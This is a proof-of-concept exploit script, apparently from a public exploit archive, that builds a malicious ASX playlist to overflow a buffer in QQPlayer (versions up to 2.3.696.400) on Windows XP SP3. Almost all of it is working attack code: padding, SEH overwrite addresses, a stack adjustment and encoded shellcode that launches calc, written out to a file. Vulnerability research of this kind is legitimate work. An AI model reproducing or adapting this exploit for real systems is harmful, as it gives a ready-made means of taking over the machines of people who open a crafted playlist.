QQPlayer Buffer Overflow

`#################################################################  
#  
# Title: QQPlayer asx File Processing Buffer Overflow Exploit  
# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University  
# Vendor: www.qq.com  
# Platform: Windows XPSP3 Chinese Simplified  
# Test: QQPlayer 2.3.696.400  
# Vulnerable: QQPlayer<=2.3.696.400p1  
# Payload = calc  
#  
#################################################################  
# Code :  
  
head ='''<ASX version="3.0">  
<Entry>  
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''  
junk = "A" * 1975 #English XP SP3 users, try 1984 bytes instead  
nseh ="\x42\x61\x21\x61"  
seh ="\xa9\x9e\x41\x00"  
adjust="\x30\x83\xc0\x0c"  
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"  
"QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"  
"KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"  
"QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"  
"TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"  
"HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")  
junk_="R"*8000  
foot ='''_playlis.wma"/>  
</Entry>  
</ASX>'''  
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot  
  
fobj = open("poc.asx","w")  
fobj.write(payload)  
fobj.close()  
  
`